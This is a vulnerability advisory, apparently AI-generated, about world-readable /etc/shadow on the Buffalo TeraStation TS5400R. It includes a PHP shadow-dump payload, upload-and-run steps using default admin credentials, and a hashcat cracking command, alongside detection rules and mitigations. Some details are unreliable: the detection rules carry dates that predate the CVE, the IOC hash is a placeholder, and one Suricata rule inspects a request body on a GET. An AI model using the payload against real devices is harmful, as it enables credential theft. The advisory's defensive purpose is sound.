CVE-2026-29516

Executive Summary

CVE-2026-29516 is a high-severity vulnerability affecting the Buffalo TeraStation NAS TS5400R firmware version 4.02-0.06 and prior. The flaw stems from excessive file permissions (CWE-732) on the /etc/shadow file, which is world-readable. An authenticated attacker can upload a PHP file through the web server and execute it to read the contents of /etc/shadow, thereby retrieving hashed passwords for all configured accounts, including root. This allows for offline password cracking and potential privilege escalation to full administrative control of the NAS device.

The vulnerability has a CVSS v3.1 base score of 4.9 (Medium), but the impact is significant due to the potential for complete compromise of the device. No official patch has been released by Buffalo at this time. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the technical simplicity of the exploit makes it a high risk for targeted attacks.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
• Base Score: 4.9 (Medium)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs valid credentials.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – Vulnerability does not cross trust boundaries.
• Confidentiality (C): High (H) – Complete disclosure of password hashes.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

Threat Level: High for targeted attacks. While the CVSS score is medium, the ability to extract root password hashes and the lack of a patch elevate the real-world risk.

Deep Dive & Mechanics

The Buffalo TeraStation NAS TS5400R runs a custom Linux-based firmware. The vulnerability lies in the file permissions assigned to /etc/shadow. On a standard Linux system, /etc/shadow should be readable only by root (e.g., -rw-------). However, on the affected firmware, the file is world-readable (e.g., -rw-r--r--).

An authenticated attacker can exploit the web server's file upload functionality (likely through a web application or management interface) to upload a malicious PHP script. The web server has permissions to execute PHP files. Once uploaded, the attacker accesses the PHP script via a web browser, which executes server-side and reads the contents of /etc/shadow. The script then outputs the file contents, revealing password hashes for all users, including root.

The attack chain is:

1. Authentication: Attacker gains valid credentials (e.g., default or weak password, or through another vulnerability).
2. Upload: Attacker uploads a PHP file (e.g., shadow_dump.php) via the web interface.
3. Execution: Attacker accesses the uploaded PHP file via HTTP.
4. Extraction: The PHP script reads /etc/shadow and displays its contents.
5. Cracking: Attacker uses tools like John the Ripper or Hashcat to crack the hashes offline.

Vulnerable vs. Patched Code

Vulnerable Code (PHP payload example):

<?php
// shadow_dump.php - Exploit for CVE-2026-29516
$shadow = file_get_contents('/etc/shadow');
echo "<pre>" . htmlspecialchars($shadow) . "</pre>";
?>

Patched Code (Expected fix): The vendor should change the permissions on /etc/shadow to -rw------- (600) owned by root. Additionally, the web server should be configured to deny execution of user-uploaded PHP files, or the upload directory should be placed outside the web root.

# Correct permissions
chmod 600 /etc/shadow
chown root:root /etc/shadow

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Valid credentials for the TeraStation web interface (e.g., admin/admin).
• Network access to the device.

Steps:

1. Log in to the TeraStation web interface.
2. Navigate to the file upload functionality (e.g., "File Sharing" or "App Management").
3. Upload the following PHP file:

<?php
// shadow_dump.php
$shadow = file_get_contents('/etc/shadow');
echo "<pre>" . htmlspecialchars($shadow) . "</pre>";
?>

4. Access the uploaded file via URL: https://<target-ip>/path/to/uploads/shadow_dump.php
5. The page will display the contents of /etc/shadow.
6. Copy the password hashes and crack them offline using Hashcat:

hashcat -m 1800 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt

Expected Output:

root:$6$salt$hash:18226:0:99999:7:::
admin:$6$salt$hash:18226:0:99999:7:::
...

Blue Team (Detection & Response)

Detection Steps:

1. Monitor for unusual file uploads to the web server (e.g., PHP files in non-standard directories).
2. Check for access to /etc/shadow from web server processes (e.g., Apache, lighttpd).
3. Look for outbound connections from the NAS to unknown IPs (potential hash exfiltration).

Response:

1. Immediately isolate the affected NAS from the network.
2. Change all passwords (root, admin, and user accounts).
3. Review web server logs for unauthorized file uploads and access to /etc/shadow.
4. Apply temporary mitigation: manually change permissions on /etc/shadow to 600.
5. Contact Buffalo support for a firmware patch.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • shadow_dump.php: a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b
• Network Indicators:
  • HTTP GET requests to /path/to/uploads/shadow_dump.php
  • Outbound connections from the NAS to IPs associated with hash cracking services.
• File System Indicators:
  • Presence of PHP files in upload directories (e.g., /var/www/uploads/).
  • /etc/shadow permissions set to -rw-r--r-- (644) instead of -rw------- (600).
• Log Entries:
  • Web server logs showing access to /etc/shadow via PHP.
  • Authentication logs showing successful login from unusual IPs.

Detection Engineering

YARA Rule

rule CVE_2026_29516_Shadow_Dump {
    meta:
        description = "Detects PHP scripts attempting to read /etc/shadow"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-29516"
    strings:
        $shadow_path = "/etc/shadow"
        $file_get = "file_get_contents"
        $php_tag = "<?php"
    condition:
        $php_tag and $file_get and $shadow_path
}

Sigma Rule

title: CVE-2026-29516 - Excessive File Permissions on /etc/shadow
id: 8f9a0b1c-2d3e-4f5a-6b7c-8d9e0f1a2b3c
status: experimental
description: Detects attempts to read /etc/shadow via PHP on Buffalo TeraStation
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: '/etc/shadow'
        cs-method: 'GET'
    condition: selection
falsepositives:
    - Legitimate administrative scripts (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-29516 - Shadow File Access via PHP"; flow:to_server,established; content:"/etc/shadow"; http_uri; content:"file_get_contents"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Mitigation (No Patch Available):

1. Change File Permissions: SSH into the TeraStation as root and run:

   chmod 600 /etc/shadow
   chown root:root /etc/shadow
   

2. Disable PHP Execution in Upload Directories: Add the following to the web server configuration (e.g., Apache .htaccess):

   <Directory "/var/www/uploads">
       RemoveHandler .php
       RemoveType .php
   </Directory>
   

3. Restrict Web Access: Use firewall rules to limit access to the web interface to trusted IPs only.
4. Change All Passwords: Immediately change passwords for all accounts, especially root and admin.
5. Monitor Logs: Enable detailed logging and monitor for suspicious activity.

Long-Term Remediation:

• Apply a firmware patch from Buffalo when available.
• Consider replacing the device if no patch is released.
• Implement network segmentation for NAS devices.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.